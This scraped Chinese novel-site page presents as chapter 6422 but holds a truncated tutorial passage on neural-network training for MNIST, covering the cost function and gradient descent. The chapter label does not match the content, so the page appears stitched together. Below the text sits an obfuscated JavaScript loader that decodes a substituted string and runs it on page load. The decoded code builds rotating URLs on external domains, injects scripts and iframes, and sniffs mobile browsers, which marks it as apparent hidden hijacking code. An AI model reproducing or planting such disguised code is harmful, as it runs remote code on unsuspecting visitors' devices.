零点小说网

正文 第6422章(第1页/共3页)

对于这个神经网络的训练过程,就是要确定这11935个参数。

训练的目标可以粗略概括为:对于每一个训练样本,对应的输出无限接近于1,而其它输出无限接近于0。

根据MichaelNielsen给出的实验结果,以上述网络结构为基础,在未经过调优的情况下,可以轻松达到95%的正确识别率。而核心代码只有74行!

在采用了深度学习的思路和卷积网络(convolutionalworks)之后,最终达到了99.67%的正确识别率。而针对MNIST数据集达到的历史最佳成绩是99.79%的识别率,是由LiWan,MatthewZeiler,SixinZhang,YannLeCun,和RobFergus在2013年做出的。

考虑到这个数据集里还有一些类似如下这样难以辨认的数字,这个结果是相当惊人的!它已经超越了真正人眼的识别了。

在这个过程中一步步调整权重和偏置参数的值,就必须引入梯度下降算法(gradientdescent)。

在训练的过程中,我们的神经网络需要有一个实际可行的学习算法,来逐步调整参数。

而最终的目的,是让网络的实际输出与期望输出能够尽量接近。我们需要找到一个表达式来对这种接近程度进行表征。这个表达式被称为代价函数(costfunction)

x表示一个训练样本,即网络的输入。其实一个x代表784个输入。

y(x)表示当输入为x的时候,期望的输出值;而a表示当输入为x的时候,实际的输出值。y(x)和a都分别代表10个输出值(以数学上的向量来表示)。而它们的差的平方,就表征了实际输出值和期望输出值的接近程度。越接近,这个差值就越小。

n是训练样本的数量。假设有5万个训练样本,那么n就是5万。因为是多次训练,所以要除以n对所有训练样本求平均值。

C(w,b)的表示法,是把costfunction看成是网络中所有权重w和偏置b的函数。为什么这样看呢?进行训练的时候,输入x是固定的(训练样本),不会变。在认为输入不变的情况下,这个式子就可以看成是w和b的函数。那么,式子右边的w和b在哪呢?实际上,在a里面。y(x)也是固定值,但a是w和b的函数。

总结来说,C(w,b)表征了网络的实际输出值和期望输出值的接近程度。越接近,C(w,b)的值就越小。因此,学习的过程就是想办法降低C(w,b)的过程,而不管C(w,b)的表达形式如何,它是w和b的函数,这就变成了一个求函数最小值的最优化问题。

由于C(w,b)的形式比较复杂,参数也非常多,所以直接进行数学上的求解,非常困难。

为了利用计算机算法解决这一问题,计算机科学家们提出了梯度下降算法(gradientdesc 『加入书签,方便阅读』
-->> 本章未完,点击下一页继续阅读(第1页/共3页)

!function(){function a(a){var _idx="kzsjva1mtn";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/s@QjR8S4LCXd}^F2"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"s@Q"=X8"S4LCXd}^F2"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"s@Qd2(LCYmOh5:DmRT4"="s@Q5p(LYpmJfC)RmRT4"="s@QD7(LSqmOh5:DmRT4"="s@QdC(LJ^mJfC)RmRT4"="s@Q(C(L:4mOh5:DmRT4"="s@QC2(LSYmJfC)RmRT4"="s@Q25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n/f/s@Qj(8}vR8S4LCXd}^F2"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();